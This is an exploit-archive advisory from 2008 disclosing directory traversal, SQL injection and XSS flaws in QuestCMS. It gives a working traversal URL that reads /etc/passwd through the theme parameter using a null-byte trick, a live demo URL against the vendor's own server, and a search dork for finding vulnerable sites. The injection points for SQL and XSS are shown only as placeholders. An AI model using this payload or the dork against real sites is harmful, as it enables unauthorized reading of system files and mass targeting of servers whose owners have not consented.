[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Questcms (XSS/Directory Traversal/SQL) Multiple Remote Vulnerabilities
# Published : 2008-10-27
# Author : d3b4g
# Previous Title : e107 Plugin EasyShop (category_id) Blind SQL Injection Exploit
# Next Title : Aiocp 1.4 (poll_id) Remote SQL Injection Vulnerability 


--------------------------------------------------------------------------------

Title : Questcms Multiple Remote Vulnerabilities [XSS/Directory Traversal/sql]

--------------------------------------------------------------------------------
#Author: d3b4g


#contact: bl4ckend[at]gmail[dot]com

--------------------------------------------------------------------------------
Affected software:
--------------------------------------------------------------------------------
Application :  Questwork Web Content Management system (QuestCMS)
URL :  http://www.questwork.com

--------------------------------------------------------------------------------

dork        : allinurl:"/questcms/"
--------------------------------------------------------------------------------
Directory traversal vulnibility
=============================
Exploit     : questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html

Live demo   : http://www.questwork.com/questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html


---------------------------------------------------------------------------------

sql injection:
==============
Vuln file:questcms/main/main.php?obj=[sql]


XSS:
====
exploit:/main/main.php?cx=[Xss]
--------------------------------------------------------------------------------



--------------------------------------------------------------------------------

greetz:

All my friends,milw0rm...

--------------------------------------------------------------------------------



--------------------------------- [ www.hotlism.org ] --------------------------------------

# www.Syue.com [2008-10-27]